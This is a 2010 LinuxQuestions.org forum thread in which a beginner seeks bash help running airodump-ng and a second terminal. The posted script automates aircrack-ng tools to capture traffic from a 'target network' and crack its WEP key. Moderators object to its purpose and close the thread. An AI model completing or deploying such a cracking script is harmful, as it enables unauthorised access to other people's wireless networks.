LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Newbie (https://www.linuxquestions.org/questions/linux-newbie-8/)
-   -   How do I get 2+ Terminals in BASH script.... (https://www.linuxquestions.org/questions/linux-newbie-8/how-do-i-get-2-terminals-in-bash-script-783377/)

lupusarcanus 01-20-2010 12:58 AM

How do I get 2+ Terminals in BASH script....
 
Hi.

I am making a bash script. I have captured user input like so...
Quote:

#! /bin/bash
...
echo "What does the ouput above label your wireless card as?
read iface
airodump-ng $iface
And now need to start a new terminal; preserving the read input.
I tried:
Quote:

#! /bin/bash
...
echo "What does the ouput above label your wireless card as?
read iface
airodump-ng $iface
gnome-terminal
But it does not work. Airodump-ng "takes over" and the script does not continue.

How do I make it so that I can make a new Terminal, or allow more commands to take place on the current one, allow the output from airodump-ng to be shown, and keep the caught user input?

I'm using Ubuntu 9.10, GNOME and would like it so that anyone with a GUI Terminal, Konsole or whatever can execute the script successfully.

I'm confused...I looked up on Googe and couldn't find anything! Just "Beginners guide to Bash Scripting" and "How to BASH script" but nothing relevant that answere my question!

Thank You in Advance.

cantab 01-20-2010 01:05 AM

try
Code:

#! /bin/bash
echo "What does the ouput above label you're wireless card as?
read iface
gnome-terminal &
airodump-ng $iface

the & puts gnome-terminal in the background, allowing the script to move on to the next command.

But there is probably a better, more advanced (and more complex to script) solution to the problem you face - namely, to show the output of airodump while accepting more inputs.

lupusarcanus 01-20-2010 01:18 AM

It brought up two terminals at once but still stops on the first Terminal and nothing happens on the second one...

quanta 01-20-2010 01:45 AM

Did you try to use gnome-terminal with "-e" option? Can you explain more details about your purpose?

forrestt 01-20-2010 02:14 AM

OK, you are missing a quote, but I'm guessing that you aren't in your "real" script. Also, you don't need to echo then read, you can set a prompt in read.
Code:

#!/bin/bash
...
read -p "What does the ouput above label your wireless card as? " iface
export iface
airodump-ng $iface &
gnome-terminal &

Not exactly sure what you are doing, but the '&' should make airodump-ng run in the background and you will be returned to the shell. The export will allow iface to be seen in the new gnome-terminal.

HTH

Forrest

lupusarcanus 01-20-2010 03:04 AM

Hello, I have tried all your suggestion and read man pages and websites and STILL can't figure it out. If it helps, airodump-ng takes the title and full control of the Terminal, as its a running command, like the command 'top', and doesn't stop until user intervention.

I will attach my embarassingly bad script below (its my first 'real' one, and I am using aircrack-ng for it because its something I know the commands and syntax to). Hopefully this makes more sense. I have to allow the airodump-ng command to be visible on the first terminal, and the rest of the commands to run in the 2nd one, up until the next gnome-terminal at the bottom of the script...

Code:

#! /bin/bash
# Cap and Crack version 1.0
echo
echo
echo -n "This script, with the excepttion for a few needed questions, automates aircrack-ng to configure the network interface, capture and inject packets, and crack a WEP 64/128 bit key. Press a key to continue..."
read -n 1

ifconfig
echo
echo
echo
echo "What is your wireless device labled as in the above command?  (e.g. 'wifi0', 'wlan0', 'rausb0', etc.) Enter it, and press [ENTER]."
read iface

service network-manager stop; kill avahi daemon; kill wpa_supplicant; kill dhclient; kill network; kill wicd; kill knetworkmanager
ifconfig $iface down
iwconfig $iface mode monitor
ifconfig $iface up
airodump-ng $iface
gnome-terminal

echo -n "After these next questions, we can begin the process of capturing and cracking the WEP key against your desired network. Keep the first Terminal up, it is needed, and will provide you with valuable information. Use it to answer the following questions. After you fill in the answer, press [ENTER]. Now, hit any key to move on..."
read -n 1
echo
echo

echo "What is the BSSID of the target network? Please include the colons and proper capitilization, as this is extermely important. (Wait a second if your target isn't there yet)"
read bssid
echo
echo

echo "What channel (CH) does it show the target network is on?"
read channel
echo
echo

echo "What is the name of the target network? (e.g. 'linksys)'"
read name
echo
echo
echo

echo -n "Lastly, a short, one line command will be executed below. It will show you the interface you typed earlier with an 'Hwaddr' next to it. It is important that you preserve capitalization and the colons."
read -n 1

ifconfig | grep $iface
echo "What is the Hwaddr?"
read mac
echo
echo

echo -n "We have collected the information needed to proceed. Press any key to continue..."
read -n 1
echo

airodump-ng -c $channel --bssid $bssid -w /home/$USER/capncrack-ivs $iface
gnome-terminal
aireplay-ng -1 6000 -o 1 -q 10 -e $name -a $bssid -h $mac

hopefully that makes it easier?

lupusarcanus 01-20-2010 06:05 AM

man...Why Won't this Work?

I even tried calling on another script from the first script and it fails.

arg! help

Tinkster 01-20-2010 11:35 AM

I guess you'll have to ask yourself whether the man-page for airodump
knows some sort of batch-mode, as top does, post process output & echo
it, and then expect to read from the same terminal. I don't know of
a simple way of starting off a new shell with extra commands in a
new terminal that will allow you to pass input back to the calling
script, plus it sounds heavily broken in that it requires X to be
running in the first place.



Cheers,
Tink

tredegar 01-20-2010 12:22 PM

Quote:

echo -n "After these next questions, we can begin the process of capturing and cracking the WEP key against your desired network.
We are not supposed to help you write this sort of software.
Please read the LQ Rules

lupusarcanus 01-20-2010 02:23 PM

@tredegar Jeremy posted a member awards 'Network Security Application of the Year' whic includes snort, which is the same thing, basically. Its for learning purposes. try doing an LQ search of aircrack and you will see that this is a popular thing. It's not being used for malicious purposes.

@Tinkster Are you sure?

I ALMOST got off the ground with this command
Quote:

if [ "$RUNNING_IN_NEW_XTERM" != t ] ; then
RUNNING_IN_NEW_XTERM=t exec xterm -e "$0 $*"
fi
but it just repeated my whole script again, instead of moving onward in the script.

I am thinking I should just do:
Quote:

xterm -e /path/to/another/script
xterm -e /path/to/another/script2
xterm -e /path/to/another/script3
Thank you for replying Tinkster.

GrapefruiTgirl 01-20-2010 02:32 PM

@ leopard,

actually, searching for 'aircrack' threads will turn up a bunch of threads that have been closed.

This here thread is still going, because the OP (you, in this case) are looking for "scripting help", as opposed to "help me make aircrack work".

They are two different issues.

tredegar makes a very valid point (see the LQ-Rules for specifics); if you were asking us to help you get aircrack working, we would not be able to help, because we don't know what you plan to do with it. Since you are just looking for help to get your script and xterms working as you want (and you seem to have figured out air-whatever on your own), we can help (for now ;) )

Best regards,
Sasha

lupusarcanus 01-20-2010 02:42 PM

Quote:

Originally Posted by GrapefruiTgirl (Post 3833912)
@ leopard,

actually, searching for 'aircrack' threads will turn up a bunch of threads that have been closed.

This here thread is still going, because the OP (you, in this case) are looking for "scripting help", as opposed to "help me make aircrack work".

They are two different issues.

tredegar makes a very valid point (see the LQ-Rules for specifics); if you were asking us to help you get aircrack working, we would not be able to help, because we don't know what you plan to do with it. Since you are just looking for help to get your script and xterms working as you want (and you seem to have figured out air-whatever on your own), we can help (for now ;) )

Best regards,
Sasha

Thank you. :)

tredegar 01-20-2010 05:09 PM

@ GrapefruiTgirl,

With respect, I think you have missed the point:

leopard is asking for help with writing a script.

OK, we at LQ will try to help anyone write scripts ....

But what is the purpose of leopard's script? Have you read it?

Its purpose is to crack WEP encrypted WAPs in a simple "lame cracker" way.

I do not think this sort of posting should be tolerated here.

If you disagree, please explain, and I do not wish to hear "He's just asking for "scripting help" so that's OK".

It is not OK, because the purpose of his (thankfully, bad and non-functioning) script is evil.

Tinkster 01-20-2010 06:28 PM

An while I have originally posted a helpful comment I must say I
didn't quite realise what the intention of the thread was ... my
bad. Indeed it looks as if Mr Leopard is trying to write a script
that allows lifeforms of lower wits and ill intention to make use
of cracking software more easily.

With these words I'm closing the thread and ask Mr Leopard to
abstain from such threads in the future.



Cheers,
Tink


All times are GMT -5. The time now is 04:30 AM.